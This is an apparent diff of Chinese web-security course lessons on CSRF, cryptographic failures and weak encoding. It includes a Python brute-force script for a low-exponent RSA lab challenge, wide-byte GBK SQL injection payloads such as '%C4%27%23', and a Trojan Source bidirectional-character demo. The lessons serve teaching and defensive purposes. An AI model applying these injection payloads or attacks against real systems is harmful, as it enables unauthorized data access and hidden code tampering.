这节课我们探讨了一类主流的安全风险——CSRF,首先我们列出了CSRF风险的常见特征:首先,由于外域更容易被攻击者控制,攻击一般发生在跨域场景下;其次,CSRF在攻击过程中并没有获取到用户的登录凭据,只是借用户之手发送了恶意的请求;最后,攻击者可以采用图片URL、超链接、表单提交等许多方式实现攻击。
|
||||
|
||||
然后我们以2021年上半年的一个CSRF RCE漏洞为例,对它进行了实例分析,这个过程中我们首先完成了对CVE-2021-31760漏洞的复现,并针对该漏洞修复方案进行评估,然后又通过这个漏洞,学习了漏洞挖掘、漏洞分析以及漏洞修复方法。
|
||||
|
||||
最后我们给出了一些业内普遍认可的,新颖的解决方案,供你在工作中使用,他们分别是:同源策略、CSRF Token、接口设计层保护、双重Cookie和Samesite Cookie
|
||||
|
||||
以上,就是关于CSRF我们一起学习探讨的内容,欢迎大家在评论区留言讨论。什么?你说Samesite Cookie没讲?那就作为课后作业吧!
|
||||
|
||||
思考题
|
||||
|
||||
为了防御CSRF,除了上述安全方案,业内提出了一种新的解决方案——Samesite Cookie,你可以通过自己的研究,讲讲它和双重Cookie的区别吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见!
|
||||
|
||||
|
||||
|
||||
|
247
专栏/Web漏洞挖掘实战/06加密失败:使用了加密算法也会被破解吗?.md
Normal file
247
专栏/Web漏洞挖掘实战/06加密失败:使用了加密算法也会被破解吗?.md
Normal file
@ -0,0 +1,247 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
06 加密失败:使用了加密算法也会被破解吗?
|
||||
你好,我是王昊天。
|
||||
|
||||
从这节课开始我们开启了新的模块——加密失败的学习。这是2021 OWASP TOP 10的排名第二的风险种类,与失效的访问控制相比,加密失败更多地体现为一种单点技术问题,通常是由于开发人员对加密过程使用不合理造成的。
|
||||
|
||||
先来分享一个我的小故事:
|
||||
|
||||
作为一个Dota 2玩家,我有一台自己的Windows台式机,配置是i7-4790k + 16GB内存 + 256GB SSD。相信你能看出来,虽然这台机器在当时也算小“高端”配置,但到现在已经稍微有点力不从心了。
|
||||
|
||||
于是我便产生了更新硬件的想法——经过多次测试,我觉得性能下降的主要问题在于CPU温度,这一想法在我百度了“4790k 散热”之后更加坚定,于是我决定用水冷取代原来CPU自带的小风扇。在某东购置了水冷设备后,经过简单的安装,顺利开机。令人惊讶的一幕出现了:原来开机之后CPU温度是70℃,现在是99℃,由于温度过高开机不到20分钟就会自动关机。
|
||||
|
||||
为什么水冷会比风冷效果还差呢?是不是水冷设备没有工作?但我是按照说明书安装的,看起来呼吸灯也是亮的。看着一体化的水冷设备,没有任何有效的判断方式,我的内心是崩溃的。经过接近半天时间的不断调试和开机测试,最终我找到了问题——螺丝没有拧紧导致接触不严密,散热效果没有发挥出来。
|
||||
|
||||
分享这个故事,我是想说的是,在面对一个我们完全不了解的黑盒产品时,使用过程中出问题的可能性是很大的,加密失败这种安全风险往往就因此产生。
|
||||
|
||||
加密是一个数学问题,应用到了开发场景。事实上,加密函数就像一个黑盒,开发人员能够考虑的只有输入和输出,其中输出还是非常复杂的。加密是否成功,极大地影响着系统的安全性,但是很多开发人员,对加密却没有深入研究。因此,只验证加密结果的正确性,却不验证加密结果的质量是不行的。接下来的几节课我们会重点讨论加密结果的质量问题。
|
||||
|
||||
加密失败
|
||||
|
||||
在国内的信息安全建设大背景下,系统的数据安全已经愈加重要,其中首先要考虑的就是数据的传输层和存储层的安全。这些环节中主要采用的保护方案就是加密,目前加密已经渗透到了开发的方方面面。也许这样描述你没有直观的感受,那么我们来看一些场景:
|
||||
|
||||
|
||||
目前数据是否是通过明文进行传输的?
|
||||
目前业务系统中是否存在旧版本或者强度比较低的加密函数?
|
||||
服务器上的证书是否合法有效,证书信任链是否完整?
|
||||
加密函数的初始化序列是否被合理使用?是否使用了不安全的加密操作,比如ECB?
|
||||
随机数是否得到了合理的初始化,以及是否使用了硬编码种子?
|
||||
加密错误信息或者侧信道信息是否导致密码可破解?
|
||||
|
||||
|
||||
以上这些只是部分场景,可以看到,加密正在成为系统开发不可分割的一部分,那么接下来,我们来就了解一些典型的攻击场景:
|
||||
|
||||
1. 数据库加密-
|
||||
以MySQL为例,数据库可以通过其内部加密函数实现数据加密存储,然而在数据读取过程中由于经过自动解密过程,SQL注入这样的攻击就有可能获取到数据库中的明文。
|
||||
|
||||
2. 数据明文传输-
|
||||
以在企业内网搭建的系统为例,由于许多系统并未强制要求TLS,因此,如果攻击者可以监控内网流量,则有可能窃取到网络传输的敏感数据,包括登录凭据等。事实上,目前攻击者入侵内网设备的情况是很多见的,无论是通过脆弱的边界路由设备,或是经过存在漏洞的无线网络设备,以及通过鱼叉式网络钓鱼,攻击者一旦穿越企业的网络防御边界,便可通过嗅探、ARP欺骗等方式窃取网络数据,进而在内网横向移动。
|
||||
|
||||
3. 加密强度不够-
|
||||
在一些数据存储或者传输过程中,开发者在实现数据加密过程中仅仅“走流程”地进行了加密操作,然而如此加密的强度并不足以抵御攻击者的破解。
|
||||
|
||||
4. 弱HASH-
|
||||
在使用特定算法生成HASH结果的时候,如果HASH算法因为设计的缺陷,不能满足安全性需求,导致攻击者能够判断出原始输入,这是原像攻击(preimage attack);如果攻击者能够找到其他输入,并且生成同样的HASH输出,这是第二原像攻击(2nd preimage attack);如果攻击者能够找到多个输入,并且生成同样的HASH输出,这是生日攻击(birthday attack)。
|
||||
|
||||
5. 签名验证不当-
|
||||
在数据传输过程中,通信协议中会涉及数据段的签名,以此来保证数据的完整性和不可篡改性。在实际数据交互中,有时可能由于签名未认证,有时可能仅验证了签名的有效性,但并没有重新从数据段计算签名进行比对,这些问题都可能导致攻击者执行绕过。
|
||||
|
||||
RSA - 低加密指数攻击
|
||||
|
||||
RSA算法
|
||||
|
||||
在了解这种攻击类型之前,我们要先了解RSA算法,这是目前应用最广泛的非对称加密算法之一。
|
||||
|
||||
我们首先看公式。
|
||||
|
||||
|
||||
plain_text = 明文,cipher_text = 密文,(n,e) = 公钥,(n,d) = 私钥-
|
||||
加密过程:plain_text ^ e ≡ cipher_text (mod n)-
|
||||
解密过程:cipher_text ^d ≡ plain_text (mod n)
|
||||
|
||||
|
||||
对于低加密指数攻击,我们已知条件是:
|
||||
|
||||
|
||||
密文:cipher_text;
|
||||
公钥:(n,e)。
|
||||
|
||||
|
||||
我们的任务是根据已知条件获取明文(plain_text)。
|
||||
|
||||
作为攻击者,无论是我们是要尝试挖掘Web系统、二进制应用还是区块链系统或者是其他程序漏洞,都需要具备两点前提。一方面,你需要判断漏洞是否存在,这需要你熟悉目标系统的开发与设计过程,深刻理解特定功能的最佳实践。另一方面,你需要降低攻击向量空间,这就要求你足够了解目标系统的执行逻辑,在此基础上有目的地缩小测试范围。
|
||||
|
||||
对于低加密指数攻击案例而言,如果不理解RSA算法加密过程,我们就无法判断漏洞是否存在,这是漏洞挖掘黄金法则第一条;而执行数学变换进行判断的过程,就是在有效地缩小测试范围,降低攻击向量空间,这是漏洞挖掘法则第二条。这两条适用于许多漏洞挖掘场景。
|
||||
|
||||
因此这里我们要先了解RSA原理,以及在应用RSA算法过程中的最佳实践,以此来判断特定场景是否存在漏洞。
|
||||
|
||||
RSA算法工作过程
|
||||
|
||||
想象一个这样的场景——数学家小明有一段关键的信息,希望加密后发给历史学家小密。
|
||||
|
||||
经过商议,小明选择RSA算法加密传递,但是由于小明科研经费紧张,买不起电脑,于是通过手动计算的方式来执行RSA算法。这里小明的主要目标是计算出RSA算法的关键参数——n、e、d,我们看看他需要经历哪些步骤。
|
||||
|
||||
第一步,小明首先随机选择了两个不相等质数(prime number),p1和p2;p1 = 23,p2 = 71(实际应用中p1和p2越大,破解难度就越高)。
|
||||
|
||||
第二步,小明通过计算p1和p2的乘积,这里得到了第一个关键参数n; n = p1 x p2 = 1633,这里n转换为2进制的长度就是我们通常意义上描述的密钥长度。
|
||||
|
||||
第三步,小明需要获得第二个关键参数e: φ(n) = (p1-1) x (p2-1) = 1540,在1~φ(n)之间随机选取一个整数使其与φ(n)互质,即得到第二个关键参数e,e = 19。
|
||||
|
||||
第四步,他可以通过模逆元计算得出三个关键参数d,需要满足的条件是 e x d ≡ 1 (mod φ(n))。
|
||||
|
||||
现在,小明已经获得所有关键参数,他此时只需要将p1、p2销毁,自己留存(n,d)组成的私钥,并将(n,e)组成的公钥发给小密即可 。
|
||||
|
||||
这里我们来分析一下RSA算法的安全性,由于公钥信息是公开的,因此我们可以认为n和e是已知的,那么是否存在一种可能性是在已知n与e的情况下推导出d呢?这里我们首先要分析d的计算过程:
|
||||
|
||||
|
||||
根据RSA算法工作过程的第四步,我们可以知道e与φ(n)是计算出d的前提,e是已知的;
|
||||
根据RSA算法工作过程的第三步,我们可以知道p1与p2是计算出φ(n)的前提,而n = p1 x p2;
|
||||
那么私钥安全性就依赖于n因数分解的难度。目前,数学界对于大整数因数分解并没有很好的解决方案,因此RSA的安全性得以保证。
|
||||
|
||||
|
||||
案例实战
|
||||
|
||||
接下来我们进入实战环节。登录谜团(mituan.zone)并选择【RSA - 低加密指数攻击】环境,启动后可以在home目录找到flag.enc以及pubkey.pem两个文件。
|
||||
|
||||
total 16
|
||||
-rw-rw-r--@ 1 hunter staff 512 6 2 2019 flag.enc
|
||||
-rw-rw-r--@ 1 hunter staff 796 6 2 2019 pubkey.pem
|
||||
|
||||
|
||||
通过调用OpenSSL对pubkey.pem进行解析:
|
||||
|
||||
openssl rsa -pubin -text -modulus -in pubkey.pem
|
||||
Public-Key: (4096 bit)
|
||||
...
|
||||
Exponent: 3 (0x3)
|
||||
Modulus=B0BEE5E3E9...
|
||||
...
|
||||
|
||||
|
||||
可以得到n和e,其中n = Modulus、e = Exponent,这里我们将数值带入后,再看一下加密公式:
|
||||
|
||||
plain_text ^ e ≡ cipher_text (mod n)
|
||||
其中e、n、cipher_text均是已知的,进行一下简单的格式变换可以得出
|
||||
plain_text = (kn + (cipher_text mod n)) ^ 1/3
|
||||
|
||||
|
||||
有趣的事情出现了,在e数值很小的情况下,我们是可以尝试暴力破解的。
|
||||
|
||||
接下来我们通过代码来实现暴力破解明文:
|
||||
|
||||
import os, time
|
||||
import gmpy2
|
||||
|
||||
def main():
|
||||
start_time = 0
|
||||
c_time = 0
|
||||
|
||||
n = 721059527572145959497866070657244746540818298735241721382435892767279354577831824618770455583435147844630635953460258329387406192598509097375098935299515255208445013180388186216473913754107215551156731413550416051385656895153798495423962750773689964815342291306243827028882267935999927349370340823239030087548468521168519725061290069094595524921012137038227208900579645041589141405674545883465785472925889948455146449614776287566375730215127615312001651111977914327170496695481547965108836595145998046638495232893568434202438172004892803105333017726958632541897741726563336871452837359564555756166187509015523771005760534037559648199915268764998183410394036820824721644946933656264441126738697663216138624571035323231711566263476403936148535644088575960271071967700560360448191493328793704136810376879662623765917690163480410089565377528947433177653458111431603202302962218312038109342064899388130688144810901340648989107010954279327738671710906115976561154622625847780945535284376248111949506936128229494332806622251145622565895781480383025403043645862516504771643210000415216199272423542871886181906457361118669629044165861299560814450960273479900717138570739601887771447529543568822851100841225147694940195217298482866496536787241
|
||||
|
||||
k = 0
|
||||
|
||||
c_path = os.getcwd()
|
||||
fname = c_path + "/flag.enc"
|
||||
|
||||
print(fname)
|
||||
|
||||
f = open(fname, 'rb')
|
||||
c = f.read()
|
||||
c_num = int.from_bytes(c, byteorder='big')
|
||||
|
||||
mod_num = c_num % n
|
||||
|
||||
print('n = ' + str(n))
|
||||
print('mod = ' + str(mod_num))
|
||||
|
||||
start_time = int(time.time())
|
||||
|
||||
while True:
|
||||
|
||||
c_time = int(time.time())
|
||||
time_pass = c_time-start_time
|
||||
if (c_time - start_time) == 10:
|
||||
print("current k: " + str(k))
|
||||
start_time = c_time
|
||||
|
||||
y = k * n + mod_num
|
||||
root_num, status = gmpy2.iroot(y,3)
|
||||
|
||||
if status == 1:
|
||||
break
|
||||
else:
|
||||
k = k + 1
|
||||
print('plain_text = ' + str(root_num))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
通过约300s的程序运行时间,在输出中可以获得plain_text的值:
|
||||
|
||||
plain_text = 440721643740967258786371951429849843897639673893942371730874939742481383302887786063966117819631425015196093856646526738786745933078032806737504580146717737115929461581126895844008044713461807791172016433647699394456368658396746134702627548155069403689581548233891848149612485605022294307233116137509171389596747894529765156771462793389236431942344003532140158865426896855377113878133478689191912682550117563858186
|
||||
|
||||
|
||||
再通过代码将plain_text值转换为字符:
|
||||
|
||||
def main():
|
||||
plain_text = 440721643740967258786371951429849843897639673893942371730874939742481383302887786063966117819631425015196093856646526738786745933078032806737504580146717737115929461581126895844008044713461807791172016433647699394456368658396746134702627548155069403689581548233891848149612485605022294307233116137509171389596747894529765156771462793389236431942344003532140158865426896855377113878133478689191912682550117563858186
|
||||
|
||||
plain_text_in_char = []
|
||||
|
||||
while plain_text != 0:
|
||||
plain_text, c = divmod(plain_text, 256)
|
||||
plain_text_in_char.append(chr(c))
|
||||
|
||||
plain_text_in_char.reverse()
|
||||
|
||||
print(''.join(plain_text_in_char))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
运行上述代码,可以得到如下输出:
|
||||
|
||||
Didn't you know RSA padding is really important? Now you see a non-padding message is so dangerous. And you should notice this in future.Fl4g: PCTF{Sm4ll_3xpon3nt_i5_W3ak}
|
||||
|
||||
|
||||
可以看到我们已经成功破解了RSA加密,获取到了明文,即plain_text。
|
||||
|
||||
这里补充一个有趣的知识点,RSA属于块加密算法,与之相对应的是流加密。块加密是有一个padding机制的,正如输出结果中所述,这里能够破解成功的另一个主要原因是明文并没有采用padding来补齐块长度,如果明文的长度足够长,就会使得暴力破解的所需时间快速攀升,进而更有效地抵御攻击。
|
||||
|
||||
总结
|
||||
|
||||
这节课我们首先探讨了在产品开发过程中涉及加密算法的一些常见问题,并列举了一些典型的攻击场景。
|
||||
|
||||
接下来的实战案例环节,我们通过RSA算法的低加密指数攻击案例,学习了RSA加密算法的原理,在此基础上我们成功对一段RSA加密结果进行了攻击。通过这个实例可以发现即使是全球闻名的RSA算法,如果使用方式不当,也存在被破解的可能性。
|
||||
|
||||
这个实例其实很有意义,除了本身涉及到的加密知识以外,我们更需要知道的是如何针对一个黑盒系统进行漏洞挖掘,这里要记住两条漏洞挖掘黄金法则:一方面,你需要熟悉目标系统的开发与设计过程,深刻理解特定功能的最佳实践,从而判断漏洞是否存在;另外,你要足够了解目标系统的执行逻辑,有目的性地缩小测试范围,以此来降低攻击向量空间
|
||||
|
||||
加密失败风险的出现有很多原因,大部分与我们不合理地使用加密工具有关。那么我们该如何防御呢?
|
||||
|
||||
这里我们推荐一些相对抽象的安全建议,供你在工作中参考,具体一些需要详细讨论的部分,我们会在后面几节课程中陆续展开。
|
||||
|
||||
首先在数据层面,我们需要对数据进行分类分级,识别出需要重点保护的数据类型,并且不要存储不使用的敏感数据,不被存储的数据是不可能丢失的。
|
||||
|
||||
在存储层面,要关闭可能包含敏感数据的缓存功能,还要确保所有的敏感数据在静态存储中都以加密形态存放。
|
||||
|
||||
在传输层面,我们要确保所有数据传输协议都启用了安全功能,比如TLS,并且不要使用传统的不安全协议进行敏感数据传输,如FTP、SMTP等。
|
||||
|
||||
在算法层面,我们需要使用标准的加密算法,并且保证算法的及时更新,合理地管理密钥,尤其不要使用已经被验证安全性不足的算法,如MD5、SHA1、PKCS 1 v1.5等。
|
||||
|
||||
更进一步地,在随机化层面,密钥需要使用密码学算法随机生成,如果要使用一个口令密码,也是要通过口令密码生成函数来产生最终的密钥。除了密钥相关的数据,还要确保密码算法中涉及参数的随机化生成,确保其无法被预测。
|
||||
|
||||
思考题
|
||||
|
||||
这节课程中我们所编写的低加密指数攻击代码,仍然有进一步优化的空间,你可以提高这段攻击代码的执行效率吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
285
专栏/Web漏洞挖掘实战/07弱编码:程序之间的沟通语言安全吗?.md
Normal file
285
专栏/Web漏洞挖掘实战/07弱编码:程序之间的沟通语言安全吗?.md
Normal file
@ -0,0 +1,285 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
07 弱编码:程序之间的沟通语言安全吗?
|
||||
你好,我是王昊天。
|
||||
|
||||
进入了加密失败这个大篇章,我们的第一个话题就是——弱编码。
|
||||
|
||||
如果你想了解什么是编码,那么不妨想象一下双十一购物的场景吧。
|
||||
|
||||
我们通过电商平台购买了许多零食、家居用品以及二次元手办,一时下单一时爽,一直下单一直爽,于是全国人民都在买买买。这个时候电商平台的难题来了,各式各样的商品要如何送到每个人手里呢?总不能每一种商品打造一条运输线路。
|
||||
|
||||
于是快递出现了,通过对不同类型的商品进行方形硬纸盒的封装,既保护了商品在运输中的完整性,又保证了传输的便捷性。
|
||||
|
||||
这就是编码的典型场景,在服务端与客户端传输数据的过程中,我们无法确认传输的内容中是否包含传输协议不支持的内容,因此在数据传输之前我们希望通过编码的方式将传输数据进行规范化。
|
||||
|
||||
这里一定要注意,编码是不具备保密性的。就像快递小哥只是不想知道包装里面是什么东西,如果他想知道的话,应该是一件不难的事情。
|
||||
|
||||
编码
|
||||
|
||||
我们来看看维基百科是如何定义编码的:
|
||||
|
||||
|
||||
编码是信息从一种形式或格式转换为另一种形式的过程;解码则是编码的逆过程。
|
||||
|
||||
|
||||
作为一名优雅的开发工程师,或者是一名“大黑客”,掌握多种编码特征都是非常重要的,这一讲,我就来带你进入编码的世界遨游一番。
|
||||
|
||||
字符编码
|
||||
|
||||
字符编码是把字符集中的字符映射为指定集合中的某一个对象,以便文本在计算机中存储或者在网络之间传递。在计算机发展的早期,ASCII这样的字符集是字符编码的标准形式,但是这些字符集有着很大的局限性,比如只适用于英文场景等,于是人们开发了许多方法来扩展它们,编码的类型也逐步丰富:
|
||||
|
||||
|
||||
早期标准:ASCII、EBCDIC
|
||||
西欧标准:ISO-8859-1、ISO-8859-5、ISO-8859-6、ISO-8859-7、ISO-8859-11、ISO-8859-15等
|
||||
DOS字符集:CP437、CP737、CP850等
|
||||
Windows字符集:Windows-1250、Windows-1251、Windows-1252等
|
||||
中文:GB2312、GBK等
|
||||
Unicode:Unicode、UTF-7、UTF-8、UTF-16、UTF-32等
|
||||
|
||||
|
||||
这些字符集有各自的诞生意义和应用场景,在我们日常工作中会经常遇到其中的某一些,这里我们选取几个有代表性的字符集来深入研究。
|
||||
|
||||
ASCII-
|
||||
ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是最常用的编码,来表示字母、数字以及常用符号。如果你正在使用Mac或者Linux类型系统,可以直接使用如下命令来查看所有的ASCII字符:
|
||||
|
||||
> man ascii
|
||||
ASCII(7) BSD Miscellaneous Information Manual ASCII(7)
|
||||
|
||||
NAME
|
||||
ascii -- octal, hexadecimal and decimal ASCII character sets
|
||||
|
||||
DESCRIPTION
|
||||
The octal set:
|
||||
|
||||
000 nul 001 soh 002 stx 003 etx 004 eot 005 enq 006 ack 007 bel
|
||||
010 bs 011 ht 012 nl 013 vt 014 np 015 cr 016 so 017 si
|
||||
020 dle 021 dc1 022 dc2 023 dc3 024 dc4 025 nak 026 syn 027 etb
|
||||
030 can 031 em 032 sub 033 esc 034 fs 035 gs 036 rs 037 us
|
||||
040 sp 041 ! 042 " 043 # 044 $ 045 % 046 & 047 '
|
||||
050 ( 051 ) 052 * 053 + 054 , 055 - 056 . 057 /
|
||||
060 0 061 1 062 2 063 3 064 4 065 5 066 6 067 7
|
||||
...
|
||||
|
||||
|
||||
ASCII的一个字符占8位(bit),第一位总是0,这种情况下能够支持2的7次方也就是128个字符,其中00100000~01111110之间都是可打印字符。
|
||||
|
||||
GB 2312 & GBK-
|
||||
对于中文来说,汉字博大精深,区区128个字符肯定是不能够满足我们的需求的,于是就诞生了中文编码。考虑到8位编码是远远不够的,并且需要与ASCII编码兼容,GB2312编码方法应运而生,它具有以下特征:
|
||||
|
||||
|
||||
使用两个8位来进行编码;
|
||||
0~127编号的字符使用ASCII标准编码;
|
||||
两个大于127的字符连在一起时表示一个汉字,前一个称为高字节,后一个称为低字节。
|
||||
|
||||
|
||||
我们通常所说的全角字符就是双字节字符,而单字节字符就是半角字符。但后来发现GB2312的编码仍然不具备表示所有汉字的能力,于是我们就对上述第3个条件进行了优化,诞生了GBK编码,这里K表示“扩展”。优化后第三点特征表示为:
|
||||
|
||||
|
||||
允许低字节使用0~127的字符,仅凭借高字节判断是否为中文。
|
||||
|
||||
|
||||
GB2312编码示例:
|
||||
|
||||
你好hello123
|
||||
\xC4\xE3\xBA\xC3\x68\x65\x6C\x6C\x6F\x31\x32\x33
|
||||
|
||||
|
||||
常见的GBK编码:
|
||||
|
||||
你好hello123
|
||||
\xC4\xE3\xBA\xC3\x68\x65\x6C\x6C\x6F\x31\x32\x33
|
||||
|
||||
|
||||
Unicode & UTF-8-
|
||||
对于全球各国的文字来说,ASCII的字符集已经不能满足使用了,对于这个问题ISO提出了一个囊括全球所有文字的终极解决方案:Unicode。它最初规定所有的字符都是用两个字节来表示,这个版本就是UTF-16;但是后面发现仍然不够使用,于是扩展到四个字节,这个版本就是UTF-32。目前最新的Unicode已经支持了emoji表情,让我们的文字语言更加丰富且生动。
|
||||
|
||||
但是所有的字符都使用Unicode来存储是否会增大存储成本呢?毕竟ASCII单字符只占用1个字节,GBK也仅仅只占用2个字节,如果全部使用UTF-32来表示,就意味着至少2倍存储空间的膨胀,这时另一个新的编码算法的出现解决了这个问题,并成为了在coding过程中广泛使用的编码类型——UTF-8。
|
||||
|
||||
UTF-8是一种变长编码,比如对于ASCII码它就用1个字节表示,面对其他类型的编码就在前面加一个高位字节。通过这种方式,它在普遍英文coding但是携带中文注释的环境中就显得非常适合了。
|
||||
|
||||
Unicode编码示例:
|
||||
|
||||
你好hello123
|
||||
\x00004F60\x0000597D\x00000068\x00000065\x0000006C\x0000006C\x0000006F\x00000031\x00000032\x00000033
|
||||
|
||||
|
||||
TF-8编码示例:
|
||||
|
||||
你好hello123
|
||||
\xE4BDA0\xE5A5BD\x68\x65\x6C\x6C\x6F\x31\x32\x33
|
||||
|
||||
|
||||
程序编码
|
||||
|
||||
URL 编码-
|
||||
URL编码又称百分号编码,因为它的编码特征是以%开头,是不是很形象?它主要用于统一资源定位符(URL)的编码,也适用于统一资源标识符(URI)的编码。URI所允许的字符主要分为保留字符和未保留字符两类:保留字符主要是那些具有特殊含义的字符,如! * &等;未保留字符,主要指不具备特殊含义的字符,如A B C等。
|
||||
|
||||
如果一个保留字符在上下文中是有意义的,并且需要在URI中按照内容格式进行展示,那么该字符就要使用百分号编码。百分号编码首先会把字符的ASCII值表示为两个16进制的数字,然后在其前面放置转义字符%;对于非ASCII字符则先转换为UTF-8字节序,然后再放置转义字符%。
|
||||
|
||||
UTF-8格式百分号编码示例:
|
||||
|
||||
你好hello123
|
||||
%E4%BD%A0%E5%A5%BDhello123
|
||||
|
||||
|
||||
Base64 编码-
|
||||
Base64是一种用64个字符来表示二进制数据的方法。由于 64 = 2 ^ 6,因此每6位可映射到一个可打印字符,又由于每6位等于四分之三字节,因此可以简单理解为每四分之三字节映射到一个新的字节,这样也就很容易能计算出base64的编码膨胀率。Base64通常用于表示、传输以及存储二进制数据。
|
||||
|
||||
简单思考一下Base64的规则,会发现一个有趣的事情:如果要编码的字节数不能被3整除,那么就会无法进行Base64编码。所以完整的Base64编码规则是先使用“0”将不足的字节数在末尾补足,使其能够被3整除,然后再进行Base64的编码。增加的字节数在末尾用等同数量的“=”进行标记。
|
||||
|
||||
base64编码示例:
|
||||
|
||||
你好hello123
|
||||
5L2g5aW9aGVsbG8xMjM=
|
||||
|
||||
|
||||
编码 v.s. 加密
|
||||
|
||||
通过对编码的一些讨论,我们已经了解到编码的一些特性,这里我们将编码与我们上节课学过的加密做一下简单的对比,看看它们有什么相同和不同。
|
||||
|
||||
|
||||
编码与加密都是可逆运算-
|
||||
通过对编码数据进行解码即可恢复原始数据;对加密数据解密我们同样可以获得原始数据。
|
||||
|
||||
编码只需要1个输入,而加密需要2个输入-
|
||||
选定编码函数之后,我们只需要选择待编码数据即可;而对于加密函数,除了待加密数据以外,我们还需要选择加密密钥。
|
||||
|
||||
编码的目的是方便数据交互,加密的目的是保护数据交互-
|
||||
通过编码可以将数据在不同协议系统之间进行流转,目的在于可用性;通过加密可以将数据安全地传输,目的在于机密性。
|
||||
|
||||
|
||||
编码 v.s. 转义
|
||||
|
||||
通常,转义是很容易与编码混淆的概念。因为与加密相比,转义同时具备只需要一个输入,可逆运算两个条件。但是转义与编码的使用场景是不同的,即它们的“目的”不同。
|
||||
|
||||
与编码便于数据交互的目的不同,转义通常有两个目的:
|
||||
|
||||
|
||||
编码一个语句上的实体,比如设备命令或者无法被打印字符直接表示的特殊数据;
|
||||
作为特殊字符引用,主要用于表示无法在当前上下文中以可打印形态录入的字符,比如回车符。
|
||||
|
||||
|
||||
转义字符开头的字符序列被叫做转义序列,通常一个转义字符并没有它自己的意思,因此转义序列一般具有2个或更多字符。
|
||||
|
||||
通过判断二者的目的,我们可以很容易对编码和转义进行区分。
|
||||
|
||||
案例实战
|
||||
|
||||
了解了编码的基础知识,接下来我们一起来研究几个与编码相关的安全问题。这几个实战案例都已经搭建在MiTuan,搜索【编码漏洞合集】就可以直接使用。
|
||||
|
||||
宽字节注入
|
||||
|
||||
启动靶机之后,我们可以直接看到一个支持HTTP GET请求的页面,页面上告诉了我们这个示例漏洞内部的代码逻辑:程序内部通过addslashes函数,对用户GET请求中的str参数进行处理,然后拼接到SQL语句中,同时页面上也将打印实际执行的SQL语句,方便我们对漏洞利用过程进行调试。
|
||||
|
||||
|
||||
|
||||
那么接下来我们就开始尝试利用这个潜在的SQL注入漏洞。
|
||||
|
||||
第一步是寻找注入点。由于这个页面仅支持str这一个参数的输入,因此我们可以判断注入点应该就在这里。我们可以先尝试一些常规的注入方式来看一下页面的处理结果。比如,通过尝试1 和1'这两种不同的输入,我们发现经过addslashes函数的处理,SQL语句并没有被闭合,这种情况下我们是不能执行注入的。
|
||||
|
||||
虽然1'这个参数并没有达到让SQL语句闭合的目标,但是这一次SQL语句的构造可以给我们一些新的启发:
|
||||
|
||||
select * from user where user='1\''
|
||||
|
||||
|
||||
通过这个完整的SQL语句,我们可以发现 1 与 \ 是连续字符,这种情况下如果将 1 修改为特殊字符,使其能够通过编码组合与 \ 组成新的字符,我们就能实现编码绕过。
|
||||
|
||||
第二步就是实践我们的想法,找出一个能与 \ 组成新的字符的特殊字符。
|
||||
|
||||
通过编码工具,可以得知 \ 的GBK编码是 \x5C ,经过刚刚的学习我们知道了GBK编码中汉字编码的特征,所以我们只需要选取一个合适的高位字节即可。比如,这里我选择了 \xC4 ,通过编码工具我们可以知道 \xC4\x5C 是汉字 腬 ,因此拼接完成之后的完整内容 \xC4\x5C\x26\x23\x33\x39\x3B 即可满足要求。
|
||||
|
||||
通过这些操作,我们将 1 替换为 %C4 即可实现第一步中我们的编码绕过设想。
|
||||
|
||||
第三步很简单,将 %C4 作为参数输入GET请求即可。要注意GET请求中的str参数需要应用URL编码格式,而想要得到GB2312的URL编码,只需在前面增加“%”符号即可。因此将 %C4 与 ' 一起拼接,得到的完整参数是 %C4%27 。
|
||||
|
||||
将我们构造的完整参数输入浏览器地址栏进行访问,可以得到页面的输出:
|
||||
|
||||
select * from user where user='腬''
|
||||
|
||||
|
||||
接下来可以进一步增加其他SQL控制字符进行注入动作:
|
||||
|
||||
str=%C4%27%23
|
||||
select * from user where user='腬'#'
|
||||
|
||||
|
||||
CVE-2021-42574
|
||||
|
||||
这是一个由剑桥大学的研究人员发现的漏洞,它由编码问题引起,常见于供应链污染类型漏洞。在介绍漏洞原理之前我们先来和它进行一个亲密接触:
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
int main() {
|
||||
bool isAdmin = false;
|
||||
/* begin admins only */ if (isAdmin) {
|
||||
printf("You are an admin.\n");
|
||||
/* end admins only */ }
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
上述C代码逻辑十分简单,核心逻辑是判定isAdmin的bool类型并执行相应动作。按照isAdmin的初始化数值,函数应该直接进入return逻辑,不产生任何输出。这里我们直接运行:
|
||||
|
||||
$> clang program.c && ./a.out
|
||||
You are an admin.
|
||||
|
||||
|
||||
神奇的事情出现了,尽管isAdmin的值为False,程序仍然执行了if判断分支内部的函数。
|
||||
|
||||
聪明的你知道这是为什么吗?
|
||||
|
||||
其实奥秘就在“控制字符”上。通过使用Unicode控制字符,我们可以将编码的顺序进行视觉效果上的反转。比如上面的示例代码,其真实代码如下:
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
int main() {
|
||||
bool isAdmin = false;
|
||||
/*RLO } LRIif (isAdmin)PDI LRI begin admins only */
|
||||
printf("You are an admin.\n");
|
||||
/* end admins only RLO { LRI*/
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
可以看到在真实的代码中,if 语句完全被注释符号包裹,根本不存在真实判断逻辑。
|
||||
|
||||
那么为什么Unicode要设置这么恶意的“欺骗性”字符呢?
|
||||
|
||||
其实并非Unicode有恶意,这里我们回顾一下Unicode诞生的原因——囊括全球文字的终极编码方案。人类社会的文化是非常丰富的,以语言文字为例,既有像汉字这样按照从左到右顺序读写的文字,也有像阿拉伯语这样从右到左读写的文字,因此为了满足这种文字应用场景,Unicode提供了影响阅读顺序的控制字符。
|
||||
|
||||
由于近些年供应链污染攻击盛行,一旦黑客入侵软件厂商代码库或者污染了具有广泛应用的开源项目,就会造成巨大的安全威胁。
|
||||
|
||||
总结
|
||||
|
||||
